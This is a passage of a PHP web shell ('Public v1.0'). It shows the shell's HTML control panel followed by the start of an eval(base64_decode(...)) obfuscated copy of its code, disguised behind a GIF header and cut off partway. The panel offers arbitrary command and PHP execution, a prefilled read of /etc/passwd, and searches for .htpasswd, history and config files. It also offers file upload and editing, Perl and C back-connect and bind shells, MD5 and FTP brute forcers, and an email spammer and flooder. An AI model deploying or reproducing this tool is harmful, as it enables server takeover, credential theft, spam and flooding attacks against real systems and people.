<b>.::System shell::.</b><br>
<input type=hidden name="type" value=2>
<center><input type=text name="value" size=35 class=\'ta\'></center>
</ br><center><input type=submit value="Enter" style="border-top: 1px solid #333333;border-bottom: 1px solid #666666;border-right: 1px solid #666666;border-left: 1px solid #666666;background: #333333;font-weight:bold;"></center>
</td></tr></form>
<tr><td valign=top align=left>
<form action method=POST>
<table>
<tr><td>
<b>.::PHP-code::.</b>
</td><td align=right>
<input type=submit value="Run code" class=\'bt\'>
<input type=hidden name="type" value=1>
</td></tr>
<tr><td colspan=2>
<textarea rows=5 cols=26 name="value" class=\'ta\'><?php echo "readfile(\'/etc/passwd\');";?></textarea>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
<table>
<tr><td height=0></td></tr>
</table>
<table width=100% height=80 class=\'td1\' valign=top>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class=\'td2\'>
<tr><td>
<b>.::PWD::.</b>
</td><td align=right>
<input type=submit class=\'bt\' value="cd">
<input type=hidden name="type" value=3>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class=\'ta\' size=71 value=<?php echo pwd();?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class=\'td2\'>
<tr><td>
<b>.::File Edit::.</b>
</td><td align=right>
<input type=submit class=\'bt\' value="Edit">
<input type=hidden name="type" value=4>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class=\'ta\' size=72 value=<?php echo pwd();?>>
</td></tr>
</table></form>
</td></tr>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class=\'td2\'>
<tr><td>
<b>.::Download::.</b>
</td><td align=right>
<input type=submit class=\'bt\' value="Download">
<input type=hidden name="type" value=11>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class=\'ta\' size=71 value=<?php echo pwd();?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form enctype="multipart/form-data" action method=POST>
<table width=100% height=100% valign=top class=\'td2\'>
<tr><td>
<b>.::Upload::.</b>
</td><td align=right colspan=3>
<input type=submit class=\'bt\' value="Upload">
<input type=hidden name="type" value=6>
</td></tr>
<tr><td colspan=2>
<font size=2 color=#888888>New name:</b>
<input type=text size=15 name="newname" class=ta>
</td><td width=4></td><td colspan=2>
<input type=file name="userfile" size=28>
</td></tr>
</table></form>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class=\'td2\'>
<tr><td>
<b>.::Alias::.</b>
</td><td align=right>
<input type=submit class=\'bt\' value="RUN">
<input type=hidden name="type" value=7>
</td></tr>
<tr><td colspan=2>
<select name=\'value\' class=\'ta\' width=200>
<option>find apahce config file</option>
<option>find access_log files</option>
<option>find error_log files</option>
<option>find suid files</option>
<option>find suid files in current dir</option>
<option>find sgid files</option>
<option>find sgid files in current dir</option>
<option>find config.inc.php files</option>
<option>find config.inc.php files in current dir</option>
<option>find config* files</option>
<option>find config* files in current dir</option>
<option>find all writable files</option>
<option>find all writable files in current dir</option>
<option>find all writable directories</option>
<option>find all writable directories in current dir</option>
<option>find all writable directories and files</option>
<option>find all writable directories and files in current dir</option>
<option>find all service.pwd files</option>
<option>find service.pwd files in current dir</option>
<option>find all .htpasswd files</option>
<option>find .htpasswd files in current dir</option>
<option>find all .bash_history files</option>
<option>find .bash_history files in current dir</option>
<option>find all .mysql_history files</option>
<option>find .mysql_history files in current dir</option>
<option>find all .fetchmailrc files</option>
<option>find .fetchmailrc files in current dir</option>
<option>list file attributes on a Linux second extended file system</option>
<option>show opened ports</option>
<option>---------------------------------------------------------------------------------------------------------</option>
</select>
</td></tr>
</table></form></td>
<script>
function base64Encode(str)
{
	var charBase64 = new Array(
		\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',
		\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',
		\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',
		\'w\',\'x\',\'y\',\'z\',\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'+\',\'/\'
	);

	var out = "";
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;

	var len = str.length;

	do
	{
		chr1 = str.charCodeAt(i++);
		chr2 = str.charCodeAt(i++);
		chr3 = str.charCodeAt(i++);


		enc1 = chr1 >> 2;
		enc2 = ((chr1 & 0x03) << 4) | (chr2 >> 4);
		enc3 = ((chr2 & 0x0F) << 2) | (chr3 >> 6);
		enc4 = chr3 & 0x3F;

		out += charBase64[enc1] + charBase64[enc2];

		if (isNaN(chr2))
  		{
			out += \'==\';
		}
  		else if (isNaN(chr3))
  		{
			out += charBase64[enc3] + \'=\';
		}
		else
		{
			out += charBase64[enc3] + charBase64[enc4];
		}
	}
	while (i < len);

	return out;
}


function base64Decode(str)
{
	var indexBase64 = new Array(
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
		52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1,-1,-1,-1,
		-1, 0, 1, 2,  3, 4, 5, 6,  7, 8, 9,10, 11,12,13,14,
		15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
		-1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
		41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1
	);

	var out = "";
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;


	str = str.replace(/^[^a-zA-Z0-9\+\/\=]+|[^a-zA-Z0-9\+\/\=]+$/g,"")

	var len = str.length;

	do
	{
		enc1 = indexBase64[str.charCodeAt(i++)];
		enc2 = indexBase64[str.charCodeAt(i++)];
		enc3 = indexBase64[str.charCodeAt(i++)];
		enc4 = indexBase64[str.charCodeAt(i++)];

		chr1 = (enc1 << 2) | (enc2 >> 4);
		chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
		chr3 = ((enc3 & 3) << 6) | enc4;

		out += String.fromCharCode(chr1);

		if (enc3 != -1)
		{
			out += String.fromCharCode(chr2);
		}
		if (enc4 != -1)
		{
			out += String.fromCharCode(chr3);
		}
	}
	while (i < len);

	if (i != len)
	{
		new Error(BASE64_BROKEN);
		return "";
	}

	return out;
}

</script>
<td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class=\'td2\'>
<tr><td width=1%>
<b>.::Base64_encode::.</b>
</td><td align=right width=6%>
<input type=button value="encode" class=\'bt\' onclick=\'t.value=base64Encode(t.value)\'>	
</td>
<form action method=POST><td width=1%>
<b>.::Base64_decode::.</b>
</td><td align=right width=6%>
<input type=button value="decode" class=\'bt\' onclick=\'n.value=base64Decode(n.value)\'>	
</td></tr>
<tr><td colspan=2>
<input type=text name=\'t\' class=\'ta\' size=34>
</td><td colspan=2>
<input type=text name=\'n\' class=\'ta\' size=34>
</td></tr>
</table></form>
</td></tr>
</td></tr>
</table>
</td></tr><tr></tr><tr><td>
<table cellpadding=0 cellspacing=0><tr><td>
<table class=\'td1\' width=226>
<tr><td width=100% class=\'td2\'>
<form action method=POST>
<table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
<b>.::Back Connect::.</b></td></tr>
<tr><td width=100% height=10 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2><b>IP:</b></font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class=\'ta\' name=\'ip\' size=15 value=<?php echo $_SERVER[\'REMOTE_ADDR\'];?>></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>port:</font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class=\'ta\' name=\'port\' size=10 value=\'5000\'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
<td width=5%></td>
<td width=100% align=right>
<select class=\'ta\' name=\'method\'>
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=100% align=right colspan=3>
<input type=hidden name=\'type\' value=\'12\'>
<input type=submit value=\'Connect\' class=\'bt\'></form>
<tr><td width=100% height=5 colspan=3></td></tr>
</table>
</td></tr>
</table>
</td><td width=5></td><td>
<table class=\'td1\' width=226>
<tr><td width=100% class=\'td2\'>
<form action method=POST>
<table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
<b>.::Bind port::.</b></td></tr>
<tr><td width=100% height=10 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2><b>Port:</b></font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class=\'ta\' name=\'port\' size=15 value=\'6000\'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>pass:</font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class=\'ta\' name=\'pass\' size=10 value=\'hshell\'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
<td width=5%></td>
<td width=100% align=right>
<select class=\'ta\' name=\'method\'>
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=100% align=right colspan=3>
<input type=hidden name=\'type\' value=\'12\'>
<input type=submit value=\'Bind\' class=\'bt\'></form>
<tr><td width=100% height=5 colspan=3></td></tr>
</table>
</td></tr>
</table>
</td><td width=5></td><td width=50% height=141>
<table class=\'td1\' width=100% height=100% valign=top><tr><td width=100% height=100% class=\'td2\' valign=top>
<table cellpadding=0 cellspacing=0 width=95%><tr><td colspan=4>
<b>.::md5 bruter::.</b>
</td></tr><tr><td height=10></td></tr>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right><b>hash:</b></font></td><td width=5></td><td align=right>
<input type=text name=\'hash\' class=\'ta\' size=50>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right>log_file:</font></td><td width=5></td><td align=right>
<input type=text name=\'log\' class=\'ta\' size=30 value=\'md5_log.txt\'>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right>dictionary_file:</font></td><td width=5></td><td align=right>
<input type=text name=\'dict\' class=\'ta\' size=30 value=\'md5_dict.txt\'>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
</td><td width=5></td><td align=right>
<input type=submit class=\'bt\' value=\'Start Brute\'>
</td></tr>
</table>
</td></tr></table>
</td></tr></table>
<tr></tr><tr><td>
<table class=\'td1\' width=100% height=310 valign=top align=left>
<form action method=POST>
<td valign=top align=left class=\'td2\' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td valign=top colspan=3 height=30>
<b>.::Spammer::.</b>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>emails_file:</b></font>
</td><td width=65% align=right>
<input type=text name=\'elist\' class=\'ta\' size=17 value="emails.txt">
</td></tr><tr><td height=5></td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>log_file:</b></font>
</td><td width=65% align=right>
<input type=text name=\'log\' class=\'ta\' size=17 value="mail_log.txt">
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>From:</font>
</td><td width=65% align=right>
<input type=text name=\'from\' class=\'ta\' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Subject:</font>
</td><td width=65% align=right>
<input type=text name=\'subject\' class=\'ta\' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Message:</font>
</td><td width=65% align=right>
<textarea name=\'msg\' class=\'ta\' cols=20 rows=4></textarea>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Check<sup>*</sup>:</font>
</td><td width=65% align=right>
<input type=text name=\'check\' class=\'ta\' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
</td><td width=65% align=right>
<input type=submit class=\'bt\' value="Start">
<input type=hidden name=\'type\' value=10>
</td></tr>
</table></form>
<form action method=POST>
<td valign=top align=left class=\'td2\' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td colspan=3 height=30 valign=top><b>.::FTP-Brute::.</b></td></tr>
<tr><td width=31% align=right>
<font color=#888888 size=2><b>Host:</b></font>
</td><td align=right>
<input type=text name=\'host\' class=\'ta\' size=28>
</td><td width=5%></td></tr><tr><td height=35 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_users file:</font>
</td><td align=right>
<input type=text name=\'users\' class=\'ta\' size=17 value="ftp_users.txt">
</td><td></td></tr>
<tr><td height=5 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_passwd file:</font>
</td><td align=right>
<input type=text name=\'passwd\' class=\'ta\' size=17 value="ftp_passwds.txt">
</td><td></td></tr>
<tr><td height=5 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_log file:</font>
</td><td align=right>
<input type=text name=\'log\' class=\'ta\' size=17 value="ftp_log.txt">
</td><td></td></tr>
<tr><td colspan=2 height=20></td></tr>
<tr><td colspan=2 align=right>
<input type=submit class=\'bt\' value="Start Brute">
<input type=hidden name="type" value=9>
</td></tr>
</td></table></form>
<form action method=POST>
<td valign=top align=left class=\'td2\' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td valign=top colspan=3 height=30>
<b>.::Flooder::.</b>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>log_file:</b></font>
</td><td width=65% align=right>
<input type=text name=\'log\' class=\'ta\' size=17 value="mflood_log.txt">
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Send to:</font>
</td><td width=65% align=right>
<input type=text name=\'to\' class=\'ta\' size=27>
</td></tr><tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>From:</font>
</td><td width=65% align=right>
<input type=text name=\'from\' class=\'ta\' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Subject:</font>
</td><td width=65% align=right>
<input type=text name=\'subject\' class=\'ta\' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Message:</font>
</td><td width=65% align=right>
<textarea name=\'msg\' class=\'ta\' cols=20 rows=4></textarea>
</td></tr>
<td height=25><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Amount:</font>
</td><td width=65% align=right>
<input type=text name=\'amount\' class=\'ta\' size=17>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Check<sup>*</sup>:</font>
</td><td width=65% align=right>
<input type=text name=\'check\' class=\'ta\' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
</td><td width=65% align=right>
<input type=submit class=\'bt\' value="Flood">
<input type=hidden name=\'type\' value=10>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
</td></tr>
</table></center>
<center><font size=1 color=#444444>.:[Public v1.0]:.</font></center>
</body>
</html>
	
<!-- Coded by LoFFi & Ls01r //-->
'

Did this file decode correctly?

Original Code

<?php eval('?>'.base64_decode('R0lGODlhMSBHSUY4OWExIA0KPD9waHANCiRhdXRoID0gMDsNCg0KDQoNCmluaV9zZXQoInNlc3Npb24uZ2NfbWF4bGlmZXRpbWUiLDEpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2FmZV9tb2RlKCk7DQokbmFtZT0iOWI1MzRlYTU1ZDBiODJjM2E3ZTgwMDAzYTg0YjY4NjUiOyAgICAgLy9sb2dpbiA9ICdteWxvZ2luJw0KJHBhc3M9ImEwMjlkMGRmODRlYjU1NDljNjQxZTA0YTllZjM4OWU1IjsgICAgIC8vcGFzcyAgPSAnbXlwYXNzJw0KaWYoJGF1dGggPT0gMSl7DQppZiAoIWlzc2V0KCRIVFRQX1NFUlZFUl9WQVJTWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkSFRUUF9TRVJWRVJfVkFSU1snUEhQX0FVVEhfVVNFUiddKSE9JG5hbWUgfHwgbWQ1KCRIVFRQX1NFUlZFUl9WQVJTWydQSFBfQVVUSF9QVyddKSE9JHBhc3MpDQogICB7DQogICBoZWFkZXIoIldXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPVwiUGFuZWxBY2Nlc3NcIiIpOw0KICAgaGVhZGVyKCJIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkIik7DQogICBleGl0KCJBY2Nlc3MgRGVuaWVkIik7DQogICB9DQp9DQoNCmlmKCRfR0VUWydraWxsJ109PSd5ZXMnKQ0Kew0KdW5saW5rKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdZb3VyIHNoZWxsIHNjcmlwdCB3YXMgc3VjY2VmdWxseSBkZWxldGVkIScpPC9zY3JpcHQ+IjsNCn0NCg0KDQpmdW5jdGlvbiBtZDVfYnJ1dGUoJGhhc2gsJGxvZywkZGljdCkNCnsNCmlnbm9yZV91c2VyX2Fib3J0KDEpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQoNCiRmbCA9IGZvcGVuKCRkaWN0LCAiciIpOw0KJGZsID0gZm9wZW4oJGxvZywgInciKTsNCiRjb3VudCA9IDA7DQppZighJGRpY3Qpew0KcmV0dXJuICJGaWxsICdkaWN0aW9uYXJ5X2ZpbGUnIGZpZWxkISI7DQp9aWYoISRsb2cpew0KcmV0dXJuICJGaWxsICdsb2dfZmlsZScgZmllbGQhIjsNCn1lbHNlaWYoIXN0cmxlbigkaGFzaCkgPT0gMCl7DQpyZXR1cm4gIkZpbGwgJ21kNV9oYXNoJyBmaWVsZCEiOw0KfWVsc2V7DQoJd2hpbGUoISRmZW9mKCRkaWN0KSl7DQoJCSRwYXNzID0gZmdldHMoJGRpY3QpOw0KCQkkYnJ1dGVfaGFzaCA9IG1kNSgkcGFzcyk7DQoJCWlmKCRicnV0ZV9oYXNoID09ICRoYXNoKXsNCgkJCWZwdXRzKCRsb2csICIkaGFzaDokcGFzc1xuLS0tIik7DQoJCQlmY2xvc2UoJGRpY3QpOw0KCQkJZmNsb3NlKCRsb2cpOw0KCQkJZXhpdDsNCgkJfWVsc2V7DQoJCQkkY291bnQgPSAkY291bnQgKyAxOw0KCQkJZnB1dHMoJGxvZywgIiRjb3VudCBwYXNzd29yZHMgd2FzIGJydXRlZC4uLiIpOw0KCQl9DQoJfQ0KCWZwdXRzKCRsb2csICIkY291bnQgcGFzc3dvcmRzIGFyZSBmYWlsZWQhIik7DQp9DQpmY2xvc2UoJGRpY3QpOw0KZmNsb3NlKCRsb2cpOw0KfQ0KDQpmdW5jdGlvbiBwb3J0X2JpbmQoJHBvcnQsJHBhc3MsJG1ldGhvZCkNCnsNCiRwZXJsID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZZbUZ6YUNBdGFTSTdEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdJR1Y0YVhRb01TazdJSDBOQ2lSTVMNClZOVVJVNWZVRTlTVkQwa1FWSkhWbHN3WFRzTkNuVnpaU0JUYjJOclpYUTdEUW9rY0hKdmRHOWpiMnc5WjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXMNCkpsTlBRMHRmVTFSU1JVRk5MQ1J3Y205MGIyTnZiQ2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlYNClRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkV4SlUxUkZUbDlRVDFKVUxFbE9RVVJFVWw5QlRsa3BLU0I4ZkNCa2FXVWdJa05oYm5RZ2IzQmxiaUJ3YjNKMFhHNGlPdzBLYkcNCmx6ZEdWdUtGTXNNeWtnZkh3Z1pHbGxJQ0pEWVc1MElHeHBjM1JsYmlCd2IzSjBYRzRpT3cwS2QyaHBiR1VvTVNrTkNuc05DbUZqWTJWd2RDaERUMDVPTEZNcE93MEthV1lvSVNna2NHbGtQV1p2Y21zcEsNClEwS2V3MEtaR2xsSUNKRFlXNXViM1FnWm05eWF5SWdhV1lnS0NGa1pXWnBibVZrSUNSd2FXUXBPdzBLYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNtOXdaVzRnVTFSRVQxVlVMQ0krSmtOUFRrNGkNCk93MEtiM0JsYmlCVFZFUkZVbElzSWo0bVEwOU9UaUk3RFFwbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNtTnNiM04NCmxJRU5QVGs0N0RRcGxlR2wwSURBN0RRcDlEUXA5IjsNCiRjID0gIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjVjR1Z6TG1nK0RRb2phVzVqYkhWa1pTDQpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzRvWVhKbll5eGhjbWQyS1EwS2FXNTBJDQpHRnlaMk03RFFwamFHRnlJQ29xWVhKbmRqc05DbnNnSUEwS0lHbHVkQ0J6YjJOclptUXNJRzVsZDJaa093MEtJR05vWVhJZ1luVm1Xek13WFRzTkNpQnpkSEoxWTNRZ2MyOWphMkZrWkhKZmFXNGdjbVZ0DQpiM1JsT3cwS0lHbG1LR1p2Y21zb0tTQTlQU0F3S1NCN0lBMEtJSEpsYlc5MFpTNXphVzVmWm1GdGFXeDVJRDBnUVVaZlNVNUZWRHNOQ2lCeVpXMXZkR1V1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWhoZEc5DQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGDQpOUFEwdGZVMVJTUlVGTkxEQXBPdzBLSUdsbUtDRnpiMk5yWm1RcElIQmxjbkp2Y2lnaWMyOWphMlYwSUdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLDQppa21jbVZ0YjNSbExDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWhZMk5sY0hRb2MyOWphMlprTERBc01DazdEUW9nDQpJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrDQo3RFFvZ0lDQnlaV0ZrS0c1bGQyWmtMR0oxWml4emFYcGxiMllvWW5WbUtTazdEUW9nSUNCcFppQW9JV05vY0dGemN5aGhjbWQyV3pKZExHSjFaaWtwRFFvZ0lDQnplWE4wWlcwb0ltVmphRzhnZDJWc1kyDQo5dFpTQjBieUJ5TlRjZ2MyaGxiR3dnSmlZZ0wySnBiaTlpWVhOb0lDMXBJaWs3RFFvZ0lDQmxiSE5sRFFvZ0lDQm1jSEpwYm5SbUtITjBaR1Z5Y2l3aVUyOXljbmtpS1RzTkNpQWdJR05zYjNObEtHNWxkDQoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkNtbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHazdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1DQpkR1Z5WldRcE8ya3JLeWtnRFFwN0RRcHBaaWhsYm5SbGNtVmtXMmxkSUQwOUlDZGNiaWNwRFFwbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzZ0RRcHBaaWhsYm5SbGNtVmtXMmxkSUQwOUlDZGNjaWNwRFFwDQpsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNOQ24wTkNtbG1JQ2doYzNSeVkyMXdLR0poYzJVc1pXNTBaWEpsWkNrcERRcHlaWFIxY200Z01Ec05DbjA9IjsNCg0KaWYoJG1ldGhvZD09J1BlcmwnKQ0KCXsNCgkJZnB1dHMoJGk9Zm9wZW4oJy90bXAvc2hsYmNrJywndycpLGJhc2U2NF9kZWNvZGUoJHBlcmwpKTsNCgkJZmNsb3NlKCRpKTsNCgkJZXgod2hpY2goInBlcmwiKS4iIC90bXAvc2hsYmNrICIuJHBvcnQuIiAmIik7DQoJCXVubGluaygiL3RtcC9zaGxiY2siKTsNCgkJcmV0dXJuIGV4KCdwcyAtYXV4IHwgZ3JlcCBzaGxiY2snKTsNCgl9DQplbHNlaWYoJG1ldGhvZD09J0MjJykNCgl7DQoJCWZwdXRzKCRpPWZvcGVuKCcvdG1wL3NobGJjay5jJywndycpLGJhc2U2NF9kZWNvZGUoJGMpKTsNCgkJZmNsb3NlKCRpKTsNCgkJZXgoImdjYyBzaGxiY2suYyAtbyBzaGxiY2siKTsNCgkJdW5saW5rKCdzaGxiY2suYycpOw0KCQlleCgiL3RtcC9zaGxiY2sgIi4kcG9ydC4iICIuJHBhc3MuIiAmIik7DQoJCXVubGluaygiL3RtcC9zaGxiY2siKTsNCgkJcmV0dXJuIGV4KCdwcyAtYXV4IHwgZ3JlcCBzaGxiY2snKTsNCgl9ZWxzZQ0KCXsNCglyZXR1cm4gJ0Nob29zZSBtZXRob2QnOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBiYWNrY29ubmVjdCgkaXAsJHBvcnQsJG1ldGhvZCkNCnsNCiRwZXJsID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoNCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFINCmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QNCnNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0kNCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkNCktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwNCk9LVHNOQ21Oc2IzTmxLR